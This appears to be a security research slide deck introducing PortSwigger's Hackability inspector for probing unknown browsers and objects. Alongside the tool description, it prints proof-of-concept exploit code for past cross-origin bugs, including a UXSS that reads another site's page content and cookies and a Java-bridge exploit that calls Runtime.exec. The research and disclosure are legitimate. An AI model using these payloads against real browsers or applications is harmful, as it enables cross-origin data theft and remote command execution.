Exploiting unknown browsers and objects

with the Hackability inspector
About me

• I'm a researcher at PortSwigger
• I ❤ hacking JavaScript
• @garethheyes
Hackability

- Created to test capabilities of unknown web rendering engines
- JavaScript and HTML tests
- Is SOP enabled? Is JavaScript supported? CSS imports allowed? etc
# Rendering Engine Hackability Probe

This page attempts to detect what technologies the client supports. You can find the source at [https://github.com/PortSwigger/hackability](https://github.com/PortSwigger/hackability). For more details, see [https-hidden.html](https://https-hidden.html).

## Supported query parameters

- Render the JavaScript tests and save the result (off by default) - blind=1
- Data can be retrieved from [here](https://https-hidden.html).
- Enable/Disable exploits (on by default) - exploits=1
- Log data from exploits (on by default) - logExploits=1

<table>
<thead>
<tr>
<th>Basic tests</th>
<th>JavaScript tests</th>
</tr>
</thead>
<tbody>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> Plugin difference:Chrome PDF Plugin</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> PhantomJS not detected</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> Is not at a different location</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> SVG is supported</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> ES5 is supported</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> ES6 is supported</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> ES6 is supported</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> Is not iframe</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> Page is not iframe sandboxed</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> Popups are not allowed</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> XHR security not bypassed</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> Local IP detected: [redacted]</td>
</tr>
<tr>
<td>Yes</td>
<td><strong>Yes</strong> SOP bypassed</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> JavaScript environment difference: none</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> Java Bridge does not exist</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> XHR security filesystem linux not bypassed</td>
</tr>
<tr>
<td>No</td>
<td><strong>Yes</strong> XHR security filesystem windows not bypassed</td>
</tr>
</tbody>
</table>

- CSS link?
- CSS imports?
- Style attributes?
- Forms supported?
- JavaScript enabled
- Images enabled?
- Iframes render?
- Iframe srcdoc?
- Objects render?
- Embeds render?
- ActiveX
- Flash
- PDF
Hackability

• Finds interesting objects
• How can we inspect those objects?
• We need a new tool!
Life before dev tools
Life before dev tools

- All we had was view source
- Imagine debugging with just view source
- No console! `alert(variable);`
Missing dev tools

- What if the browser doesn't have dev tools?
- How do you know what objects are available?
- How can you find the interesting stuff?
New tool

James: We need an inspector for Hackability!

Me: Yeah, like dev tools but for security!
Introducing inspector

- Hackability inspector is your missing dev tools for security
- Finds and shows interesting objects first
- Automatically runs security tests on each property
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
<th>Property info</th>
</tr>
</thead>
<tbody>
<tr>
<td>window</td>
<td>object Window</td>
<td>type: object</td>
</tr>
<tr>
<td></td>
<td>length: 0</td>
<td></td>
</tr>
<tr>
<td></td>
<td>is a window object</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Send to input</td>
<td></td>
</tr>
<tr>
<td>window.input</td>
<td>object HTMLInputElement</td>
<td>type: object</td>
</tr>
<tr>
<td></td>
<td>Send to input</td>
<td></td>
</tr>
<tr>
<td>window.AnalyzerNode</td>
<td>function AnalyzerNode() { code }</td>
<td>hyperscript function</td>
</tr>
<tr>
<td></td>
<td>arguments: 1</td>
<td>Call function and return value</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Call function with callback</td>
</tr>
<tr>
<td></td>
<td>Writable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Configurable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Enumerable: false</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Send to input</td>
<td></td>
</tr>
<tr>
<td>window.AnimationEvent</td>
<td>function AnimationEvent() { code }</td>
<td>hyperscript function</td>
</tr>
<tr>
<td></td>
<td>arguments: 1</td>
<td>Call function and return value</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Call function with callback</td>
</tr>
<tr>
<td></td>
<td>Writable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Configurable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Enumerable: false</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Send to input</td>
<td></td>
</tr>
<tr>
<td>window.ApplicationCache</td>
<td>function ApplicationCache() { code }</td>
<td>hyperscript function</td>
</tr>
<tr>
<td></td>
<td>arguments: 0</td>
<td>Call function and return value</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Call function with callback</td>
</tr>
<tr>
<td></td>
<td>Writable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Configurable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Enumerable: true</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Send to input</td>
<td></td>
</tr>
</tbody>
</table>
Inspecting HTML

- Inspector supports HTML
- If input begins with `< Inspector automatically writes HTML
- You can inspect elements or even cross domain objects
Filter objects

- RegEx filter property name
- Filter by type of object e.g. window
- Filter by interesting property
Detecting JS windows

• Detecting window

```javascript
function isWindow(obj) {
    try {
        return !!((obj && obj.window) === obj);
    } catch(e){
        return false;
    }
}
```

• Detecting cross domain window

```javascript
function isCrossDomainWindow(obj) {
    var read;
    if(!isWindow(obj)) {
        return false;
    }
    try {
        read = obj.location.toString();
        return false;
    } catch(e){
        return true;
    }
}
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
<th>Property info</th>
</tr>
</thead>
<tbody>
<tr>
<td>window</td>
<td>[object Window]</td>
<td><strong>type</strong>: object</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>length</strong>: 0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Is a window object</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Send to input</td>
</tr>
<tr>
<td>window.frames</td>
<td>[object Window]</td>
<td><strong>type</strong>: object</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>length</strong>: 0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Writable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Configurable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Enumerable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Is a window object</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Send to input</td>
</tr>
<tr>
<td>window.parent</td>
<td>[object Window]</td>
<td><strong>type</strong>: object</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>length</strong>: 0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Writable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Configurable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Enumerable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Is a window object</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Send to input</td>
</tr>
<tr>
<td>window.self</td>
<td>[object Window]</td>
<td><strong>type</strong>: object</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>length</strong>: 0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Writable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Configurable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Enumerable</strong>: true</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Is a window object</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Send to input</td>
</tr>
<tr>
<td>window.top</td>
<td>[object Window]</td>
<td><strong>type</strong>: object</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>length</strong>: 0</td>
</tr>
</tbody>
</table>
Detecting Function/Object

- Detecting Function constructor

```javascript
function isFunctionConstructor(obj) {
  try {
    return obj.constructor === obj;
  } catch(e){
    return false;
  }
}
```

- Detecting Object constructor

```javascript
function isObjectConstructor(obj) {
  try {
    return !!(obj && obj.__proto__ && obj.__proto___.__proto__ &&
      obj === obj.__proto___.__proto___.constructor);
  } catch(e){
    return false;
  }
}
```
Demo
Security bugs

• Safari allowed setting of host cross domain
  `iframe.contentWindow.location.host='portswigger.net';`

• Safari allowed overwriting of top/parent with another function
  `<iframe src="http://externaldomain"
    onload="this.contentWindow.parent=this.contentWindow.top=alert;"></iframe>`

External domain:
  `<script>
  parent(1);
  top(2);
  </script>`
Security bugs

- Leaking constructor enabled access to cross domain objects on IE

```javascript
iframe.contentWindow.closed.constructor.
constructor('alert(document.domain)')();
```

- Opera leaking cross domain objects from location

```javascript
iframe.contentWindow.location.constructor.
prototype.__defineGetter__
.constructor('[].constructor.prototype.join=function()
{alert("PWND:"+document.body.innerHTML})()='));
```

- Firefox leaking cross domain location

```javascript
var win = window.open('https://twitter.com/','newWin');
alert(win.location)
```
Security bugs

- Safari about:blank UXSS

```html
<script type="text/javascript">
    function breakSop() {
        var doc = window.frames.loader.document;
        var html = '';
        html += '<p>test</p><iframe src="http://www.amazon.co.uk/"
        id="iframe" name="iframe"
onload="alert(window.frames.iframe.document.getElementsByTagName(\'body\')[0].innerHTML);alert(window.frames.iframe.document.cookie);">"
        doc.body.innerHTML = html;
    }
</script>

<iframe src="about:blank" name="loader" id="loader" onload="breakSop()"></iframe>
```

![23]
Security bugs

- All these bugs would be easy to find with inspector
- I've created automated tests to find bugs like these
- Manual analysis is easier using the inspector
Security tests

- Setting variables cross domain

```javascript
if(isCrossDomainWindow(obj)) {
    try {
        obj.setPropertyTest = 'test';
        if(obj.setPropertyTest === 'test') {
            output += '<div class="error">Can set properties on x-domain window</div>'; 
        }
    } catch(e){}
}
```

- Check for data leaking in exceptions

```javascript
try {
    test = obj.readPropertyTest;
} catch(e){
    try {
        e.toString().replace(/https?:\/[\^\s"]+/gi, function(domain){
            domain = domain.replace(/\.[^\s/+]/, '');
            domain = domain.replace(/\s+/, '');
            domain = domain.replace(/\^\s+/, '');
            if(domain !== location.origin) {
                output += '<div class="error">Leaking x-domain origin from iframe: ' + escapeHTML(domain) + '</div>';
            }
        });
    } catch(e){}
```
Security tests

- How can you tell if you can call a cross domain function?
- Call the Function constructor to check the domain

```javascript
obj.constructor.constructor('return document.domain')()
```
Security tests

• Function constructor leak checks

```javascript
try {
  if(obj.constructor.constructor('return document.domain')() !== document.domain) {
    if(window.console) {
      console.log('X-domain constructor found!');
    }
    output += '<div class="error">X-domain constructor found!</div>';
  }
} catch(e) {}  
```

• Function constructor leak checks continued

```javascript
try {
  if(obj.constructor.prototype.__defineGetter__.constructor('return document.domain')() !== document.domain) {
    if(window.console) {
      console.log('X-domain constructor found!');
    }
    output += '<div class="error">X-domain constructor found!</div>';
  }
} catch(e) {} 
```
Detecting Java bridges

• Detect if object is a Java bridge
• Use java.net.socket new instance to test if Java bridge is vulnerable
• Generate exploit using getClass
Detecting Java bridges

• Detect bridge

```javascript
function isJavaBridge(obj) {
  try {
    return!!(obj && obj.getClass && obj.hashCode);
  } catch(e){
    return false;
  }
}
```

• Check if bridge is vulnerable

```javascript
try {
  obj.getClass().forName("java.net.Socket").newInstance();
} catch(e){}
```
Exploiting Java bridges

- Exploit using `getClass` and `Runtime`
  
  ```javascript
  var field = javaBridgeObject.getClass().forName('java.lang.Runtime').
  getDeclaredField('currentRuntime');
  field.setAccessible(true);
  var runtime = field.get(123);
  if(/mac/i.test(navigator.platform)) {
    runtime.exec('open -a Calculator');
  } else if(/linux/i.test(navigator.platform)) {
    runtime.exec('/bin/bash -c gnome-calculator');
  } else if(/win/i.test(navigator.platform)) {
    runtime.exec('calc');
  }
  ```

- Exploited JxBrowser with this technique

- TeamDev (JxBrowser developers) patched bug with annotations
Exploiting Java bridges

- Exploited JxBrowser again using the inspector

- References to other objects weren't checked even when annotations prevent access to public fields

- E.g.

  ```java
  bridge.getTestObject().field.getClass();
  ```
Advanced inspection

- Execute JavaScript on every property
  ?input=window&regex=^.*$&js=alert(prop)&type=function

- Inside the js filter "obj" refers to the current object and "prop" refers to the property

- E.g. calling every function on a object obj[prop]()
Advanced inspection

- Query string parameters supported for every inspection feature

- Blind parameter saves inspection results
  ?input=window&blind=1

- Results can be viewed from display.php
Use cases

• Find browser issues using Inspector as a console (multiline mode)

• Embed within a sandbox environment to explore sandboxed code

• Use blind mode to inspect browsers you can't interact with
Shortcuts and commands

• Up and down arrows cycle through history like dev tools, Up/Down + Alt works in multiline mode

• Multiline mode is initiated when blocks are entered such as if()
  { or new lines or ; is entered

• Return eval's and inspects

• Ctrl+Return just executes

• Shift+Return evals and returns the output

• Ctrl+Backspace clears, Ctrl + Shift + backspace clears history
Conclusion

• Don't stop testing because there's no dev tools

• Use inspector to gather information about your environment

• Exploit the environment by using interesting functions
Life before inspector
Thanks. Questions?

Demo: portswigger-labs.net/hackability/inspector

Github: github.com/portswigger/hackability

Twitter: twitter.com/garethheyes